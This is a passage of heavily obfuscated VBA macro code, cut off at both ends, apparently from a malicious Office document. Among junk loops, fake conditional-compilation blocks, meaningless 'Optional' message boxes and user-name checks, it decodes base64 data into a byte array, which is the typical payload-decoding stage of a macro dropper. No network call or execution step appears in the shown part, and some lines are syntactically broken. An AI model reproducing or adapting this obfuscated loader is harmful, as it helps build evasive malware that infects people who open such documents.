dbWe6tPIT8d = dbWe6tPIT8d + 1
Next dbWe6tPIT8d
#End If
Dim P4vISGd1uk67CC As Integer
Dim whTMjWoVDCi As String
P4vISGd1uk67CC = 6721
Dim qe3FkerRIJs As Integer
whTMjWoVDCi = Right(CStr(P4vISGd1uk67CC), 1)
qe3FkerRIJs = CInt(whTMjWoVDCi)
For M7C9i4jU7dW = qe3FkerRIJs To 98
P4vISGd1uk67CC = P4vISGd1uk67CC + 7
Next M7C9i4jU7dW
Dim IkztvtEFbSIB8Q As Integer
Dim YzZM1fXiX8I As String
IkztvtEFbSIB8Q = 4399
Dim VOszcTgvQEn As Integer
YzZM1fXiX8I = Right(CStr(IkztvtEFbSIB8Q), 1)
VOszcTgvQEn = CInt(YzZM1fXiX8I)
For j8LGoeCTbuL = VOszcTgvQEn To 72
IkztvtEFbSIB8Q = IkztvtEFbSIB8Q + 3
Next j8LGoeCTbuL
ReDim Vr6NNvK8ucVV(0 To ((Len(tFASbaJUIk0xGHG) \ 4) * 3 - 1))
Dim OMJFYXBWcRZuYQ As String
Dim DMIjqdsr3uw As String
DMIjqdsr3uw = AK57hCOVQkK
OMJFYXBWcRZuYQ = ig3xB8XND2h
If (StrComp(OMJFYXBWcRZuYQ, DMIjqdsr3uw, vbTextCompare) <> 0) Then
MsgBox ("Optional: Z9ddWXnajTYSYM.")
End If
For fBjuifoIXa28D1z6oI = 0 To Len(tFASbaJUIk0xGHG) \ 4 - 2
Dim pfOPOm6uv1udA2 As String
Dim hXSmxsbZU93 As String
hXSmxsbZU93 = cn8OR826K1A
pfOPOm6uv1udA2 = HrqX54id2D9
If (StrComp(pfOPOm6uv1udA2, hXSmxsbZU93, vbTextCompare) <> 0) Then
MsgBox ("Optional: PegfFv1qXKPVq8.")
End If
SsKyoduOUp8z9AKo = CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 3))
Dim mCDLtj2Y0Q6dAk As Integer
For fVjcNiiuUMd = 7 To 76
mCDLtj2Y0Q6dAk = fVjcNiiuUMd
Next fVjcNiiuUMd
SsKyoduOUp8z9AKo = SsKyoduOUp8z9AKo Or (CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 2)) * &H40&)
Dim Zs97RP3j50Hv5i As String
Dim yCakjSNqwzfb0U As String
Dim qPMimXileWzbYi, SZHVTbNxalo As String
qPMimXileWzbYi = 8
SZHVTbNxalo = 4
#If qPMimXileWzbYi > SZHVTbNxalo Then
Dim BGm1J5LcBLt As LongPtr
#Else
Dim BGm1J5LcBLt As Integer
BGm1J5LcBLt = 8 + 4
Dim oQFmvDqUmKh As Integer
For oQFmvDqUmKh = 0 To qPMimXileWzbYi
oQFmvDqUmKh = oQFmvDqUmKh + 1
Next oQFmvDqUmKh
#End If
SsKyoduOUp8z9AKo = SsKyoduOUp8z9AKo Or (CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 1)) * &H1000&)
Dim zSTsjXpGLsETJh As String
SsKyoduOUp8z9AKo = SsKyoduOUp8z9AKo Or (CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 0)) * &H40000)
Dim HYDyztxPAWqP4G As Integer
Dim HzUhKjGfs8dWNg, pfM4WbNJqk2 As String
HzUhKjGfs8dWNg = 4
pfM4WbNJqk2 = 9
#If HzUhKjGfs8dWNg > pfM4WbNJqk2 Then
Dim XBb3wnQ79LI As LongPtr
#Else
Dim XBb3wnQ79LI As Integer
XBb3wnQ79LI = 4 + 9
Dim JWxr2QqVd2O As Integer
For JWxr2QqVd2O = 0 To HzUhKjGfs8dWNg
JWxr2QqVd2O = JWxr2QqVd2O + 1
Next JWxr2QqVd2O
#End If
Vr6NNvK8ucVV(fBjuifoIXa28D1z6oI * 3 + 0) = (SsKyoduOUp8z9AKo And &HFF0000) \ &H10000
Dim bvnpe3M0XTPoVI As String
Dim g4K7fVTsTxf As String
g4K7fVTsTxf = MlH9NcTFvpQ
bvnpe3M0XTPoVI = pAnQAzWrB0o
If (StrComp(bvnpe3M0XTPoVI, g4K7fVTsTxf, vbTextCompare) <> 0) Then
MsgBox ("Optional: us1LlISzzbzKPR.")
End If
Dim XxAfpjqtG9uull, cIS6QalIvrX As String
XxAfpjqtG9uull = 8
cIS6QalIvrX = 8
#If XxAfpjqtG9uull > cIS6QalIvrX Then
Dim aRDX9kQ0ra9 As LongPtr
#Else
Dim aRDX9kQ0ra9 As Integer
aRDX9kQ0ra9 = 8 + 8
Dim zVrZOLG1Uhd As Integer
For zVrZOLG1Uhd = 0 To XxAfpjqtG9uull
zVrZOLG1Uhd = zVrZOLG1Uhd + 1
Next zVrZOLG1Uhd
#End If
Vr6NNvK8ucVV(fBjuifoIXa28D1z6oI * 3 + 1) = (SsKyoduOUp8z9AKo And &HFF00&) \ &H100&
Dim XwEwTQSK5RIxWk, sI0j2Enctsu As String
XwEwTQSK5RIxWk = 3
sI0j2Enctsu = 2
#If XwEwTQSK5RIxWk > sI0j2Enctsu Then
Dim ejBagNcyBTd As LongPtr
#Else
Dim ejBagNcyBTd As Integer
ejBagNcyBTd = 3 + 2
Dim J0Auyuv6YQO As Integer
For J0Auyuv6YQO = 0 To XwEwTQSK5RIxWk
J0Auyuv6YQO = J0Auyuv6YQO + 1
Next J0Auyuv6YQO
#End If
Vr6NNvK8ucVV(fBjuifoIXa28D1z6oI * 3 + 2) = SsKyoduOUp8z9AKo And &HFF&
Dim kRQBjWWWo244w4 As Integer
Dim h1dmz5bOz96EUq As Integer
Dim eItNtHqNVh4 As String
h1dmz5bOz96EUq = 1686
Dim frWp9YyTnEF As Integer
eItNtHqNVh4 = Right(CStr(h1dmz5bOz96EUq), 1)
frWp9YyTnEF = CInt(eItNtHqNVh4)
For we5KMjUA9vg = frWp9YyTnEF To 76
h1dmz5bOz96EUq = h1dmz5bOz96EUq + 7
Next we5KMjUA9vg
Dim vG2ViJEU4hmM71, vojAwt7GAgZ As Integer
vG2ViJEU4hmM71 = 3
vojAwt7GAgZ = 5
#If sAxw75H3Shm <> 0 Then
sAxw75H3Shm = sAxw75H3Shm + 9
Dim cKXiH2LBMXK As Variant
Else
Dim cKXiH2LBMXK As Object
#End If
If vG2ViJEU4hmM71 > vojAwt7GAgZ Then
For uw64McikyFW5qI = vojAwt7GAgZ To vG2ViJEU4hmM71
vojAwt7GAgZ = vojAwt7GAgZ / vG2ViJEU4hmM71
Next uw64McikyFW5qI
End If
Dim ktgLPra2UOarEg As Integer
Dim df0gjO6g2GB As String
ktgLPra2UOarEg = 4763
Dim u9AMt41x76k As Integer
df0gjO6g2GB = Right(CStr(ktgLPra2UOarEg), 1)
u9AMt41x76k = CInt(df0gjO6g2GB)
For n4J5zturim7 = u9AMt41x76k To 26
ktgLPra2UOarEg = ktgLPra2UOarEg + 8
Next n4J5zturim7
Next fBjuifoIXa28D1z6oI
Dim mwNXCIXAt0kjzD As Integer
Dim EWmFJKspEOfI7L As Object
Dim i6OwOTEJTHPaHz, JPalvMwo4mF As String
i6OwOTEJTHPaHz = 1
JPalvMwo4mF = 6
#If i6OwOTEJTHPaHz > JPalvMwo4mF Then
Dim PViZFo5kKz9 As LongPtr
#Else
Dim PViZFo5kKz9 As Integer
PViZFo5kKz9 = 1 + 6
Dim Ww3PkLvaTfx As Integer
For Ww3PkLvaTfx = 0 To i6OwOTEJTHPaHz
Ww3PkLvaTfx = Ww3PkLvaTfx + 1
Next Ww3PkLvaTfx
#End If
SsKyoduOUp8z9AKo = 0
Dim cuNhJWhR5kNcMD As String
cuNhJWhR5kNcMD = Application.UserName
Dim uUBxpaf9dlc, vqlUaixeiQlFDw As Integer
vqlUaixeiQlFDw = Len(cuNhJWhR5kNcMD)
Dim EjXEUmxMMnR As Collection
While vqlUaixeiQlFDw > 1
uUBxpaf9dlc = uUBxpaf9dlc + 1
vqlUaixeiQlFDw = vqlUaixeiQlFDw - 2
Wend
Dim INl7YP9aleFG4a As Collection
Set INl7YP9aleFG4a = New Collection
INl7YP9aleFG4a.Add "EjXEUmxMMnR"
INl7YP9aleFG4a.Add "r5sv9BK3cJJ"
INl7YP9aleFG4a.Add "ZxkJS6prc9MRXr"
Dim wjpQoEYwKnWu1m, yqWUuDg0YD7 As Integer
wjpQoEYwKnWu1m = 4
yqWUuDg0YD7 = 9
#If I7C1JdxA2sx <> 0 Then
I7C1JdxA2sx = I7C1JdxA2sx + 1
Dim RbBXYV6yY03 As Variant
Else
Dim RbBXYV6yY03 As Object
#End If
If wjpQoEYwKnWu1m > yqWUuDg0YD7 Then
For Z3l8QgL5FLlTeH = yqWUuDg0YD7 To wjpQoEYwKnWu1m
yqWUuDg0YD7 = yqWUuDg0YD7 / wjpQoEYwKnWu1m
Next Z3l8QgL5FLlTeH
End If
Dim S5TXoL3kpGQcIP As String
Dim JMSy7nnsHgQ As String
JMSy7nnsHgQ = Ca4o1F3juPD
S5TXoL3kpGQcIP = xJhtLl6NNoN
If (StrComp(S5TXoL3kpGQcIP, JMSy7nnsHgQ, vbTextCompare) <> 0) Then
MsgBox ("Optional: i16O6CRfnzwGlu.")
End If
Dim aw95OL1ekIX2FH, SOPWpsc09FU As Integer
aw95OL1ekIX2FH = 4
SOPWpsc09FU = 5
#If AieDdwwWqhI <> 0 Then
AieDdwwWqhI = AieDdwwWqhI + 1
Dim zQb6VVLsR1l As Variant
Else
Dim zQb6VVLsR1l As Object
#End If
If aw95OL1ekIX2FH > SOPWpsc09FU Then
For xSjjGLKBoz3lNm = SOPWpsc09FU To aw95OL1ekIX2FH
SOPWpsc09FU = SOPWpsc09FU / aw95OL1ekIX2FH
Next xSjjGLKBoz3lNm
End If
If CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 3)) <> 255 Then SsKyoduOUp8z9AKo = CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 3))
Dim HTfIYt2yAgZSz6 As Integer
For UsYm5BkvEx3 = 2 To 28
HTfIYt2yAgZSz6 = UsYm5BkvEx3
Next UsYm5BkvEx3
Dim BGABeMEfxgsG8h As Integer
For iZa8wML10Iv = 9 To 99
BGABeMEfxgsG8h = iZa8wML10Iv
Next iZa8wML10Iv
If CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 2)) <> 255 Then SsKyoduOUp8z9AKo = SsKyoduOUp8z9AKo Or (CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 2)) * &H40&)
If CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 1)) <> 255 Then SsKyoduOUp8z9AKo = SsKyoduOUp8z9AKo Or (CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 1)) * &H1000&)
Dim eHZ41oM0XICGhp As String
Dim RzxsDtSNfJA63k As String
Dim YfkHJR3uCHF As String
YfkHJR3uCHF = BrFDTUYw056
RzxsDtSNfJA63k = UR2O8U6Y7IY
If (StrComp(RzxsDtSNfJA63k, YfkHJR3uCHF, vbTextCompare) <> 0) Then
MsgBox ("Optional: grv772sQkurmBB.")
End If
Dim DjVMqo0NuKuiV9, S8Jnos7ZszG As Integer
DjVMqo0NuKuiV9 = 5
S8Jnos7ZszG = 3
#If bpY6x10cFFc <> 0 Then
bpY6x10cFFc = bpY6x10cFFc + 9
Dim QVboYriXCFy As Variant
Else
Dim QVboYriXCFy As Object
#End If
If DjVMqo0NuKuiV9 > S8Jnos7ZszG Then
For yRGOorpip1hFI8 = S8Jnos7ZszG To DjVMqo0NuKuiV9
S8Jnos7ZszG = S8Jnos7ZszG / DjVMqo0NuKuiV9
Next yRGOorpip1hFI8
End If
If CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 0)) <> 255 Then SsKyoduOUp8z9AKo = SsKyoduOUp8z9AKo Or (CwyY5d2G71hFF4(rCjwO9pSdnDDrmZ(fBjuifoIXa28D1z6oI * 4 + 0)) * &H40000)
Dim XsUSygzEaRUbTG As Integer
Dim oTteS3j3TY0 As String
XsUSygzEaRUbTG = 2136
Dim LQmDKnuYMuZ As Integer
oTteS3j3TY0 = Right(CStr(XsUSygzEaRUbTG), 1)
LQmDKnuYMuZ = CInt(oTteS3j3TY0)
For XOlD8L2Yl9S = LQmDKnuYMuZ To 24
XsUSygzEaRUbTG = XsUSygzEaRUbTG + 1
Next XOlD8L2Yl9S
Dim SEp1WLBfwAzzJm As Integer
Dim nB6Ll8zTqxm As String
SEp1WLBfwAzzJm = 5424
Dim XhdKlp73m3j As Integer
nB6Ll8zTqxm = Right(CStr(SEp1WLBfwAzzJm), 1)
XhdKlp73m3j = CInt(nB6Ll8zTqxm)
For vKvKVWt2bIO = XhdKlp73m3j To 57
SEp1WLBfwAzzJm = SEp1WLBfwAzzJm + 9
Next vKvKVWt2bIO
Dim L6daiRf2AB0j3x, VBQvPgeVtjl As Integer
L6daiRf2AB0j3x = 6
VBQvPgeVtjl = 5
#If A60XkmJICjE <> 0 Then
A60XkmJICjE = A60XkmJICjE + 4
Dim EGD6Lv7mQtW As Variant
Else
Dim EGD6Lv7mQtW As Object
#End If
If L6daiRf2AB0j3x > VBQvPgeVtjl Then
For ruaUqgK92M3yhV = VBQvPgeVtjl To L6daiRf2AB0j3x
VBQvPgeVtjl = VBQvPgeVtjl / L6daiRf2AB0j3x
Next ruaUqgK92M3yhV
End If
Vr6NNvK8ucVV(fBjuifoIXa28D1z6oI * 3 + 0) = (SsKyoduOUp8z9AKo And &HFF0000) \ &H10000
Dim XDdzhev1Lryc13 As String
Dim miHercF8ZIw As String
miHercF8ZIw = LvkUlV8sXvf
XDdzhev1Lryc13 = rsD4tTwgAym
If (StrComp(XDdzhev1Lryc13, miHercF8ZIw, vbTextCompare) <> 0) Then
MsgBox ("Optional: K1Ywu0FDdoUBTs.")
End If
Dim EIFnpXTDVRQvNE As String
Dim lIbkvvtGKyX As String
lIbkvvtGKyX = MtrkLAAs62d
EIFnpXTDVRQvNE = ZGRbRERCBFQ
If (StrComp(EIFnpXTDVRQvNE, lIbkvvtGKyX, vbTextCompare) <> 0) Then
MsgBox ("Optional: fBDHMZZb88QQan.")
End If
Vr6NNvK8ucVV(fBjuifoIXa28D1z6oI * 3 + 1) = (SsKyoduOUp8z9AKo And &HFF00&) \ &H100&
Dim zZwZw3F5wJ0c8d As String
zZwZw3F5wJ0c8d = Application.UserName
Dim b65GdptvStZ, TQtq9SFTOGC9Ra As Integer
TQtq9SFTOGC9Ra = Len(zZwZw3F5wJ0c8d)
Dim ZcgzDtWCO7r As Collection
While TQtq9SFTOGC9Ra > 7
b65GdptvStZ = b65GdptvStZ + 6
TQtq9SFTOGC9Ra = TQtq9SFTOGC9Ra - 8
Wend
Dim c7VoVTDWqadyvO As String
Dim LoyEOFCO4Te As String
LoyEOFCO4Te = KyYdiTC6iC2
c7VoVTDWqadyvO = oWJmMmnu1TG
If (StrComp(c7VoVTDWqadyvO, LoyEOFCO4Te, vbTextCompare) <> 0) Then
MsgBox ("Optional: LcOWpp3ITCCJIf.")
End If
Dim tc5m2alKbLGk5P As Integer
Dim KnWCZsxuMAH As String
tc5m2alKbLGk5P = 1517
Dim btfnab2BHW4 As Integer
KnWCZsxuMAH = Right(CStr(tc5m2alKbLGk5P), 1)
btfnab2BHW4 = CInt(KnWCZsxuMAH)
For nDAss1k7B4t = btfnab2BHW4 To 88
tc5m2alKbLGk5P = tc5m2alKbLGk5P + 6
Next nDAss1k7B4t
Dim JonCuWpYnlBL22 As Integer
For PHaE82EoTtH = 1 To 15
JonCuWpYnlBL22 = PHaE82EoTtH
Next PHaE82EoTtH
Vr6NNvK8ucVV(fBjuifoIXa28D1z6oI * 3 + 2) = SsKyoduOUp8z9AKo And &HFF&
…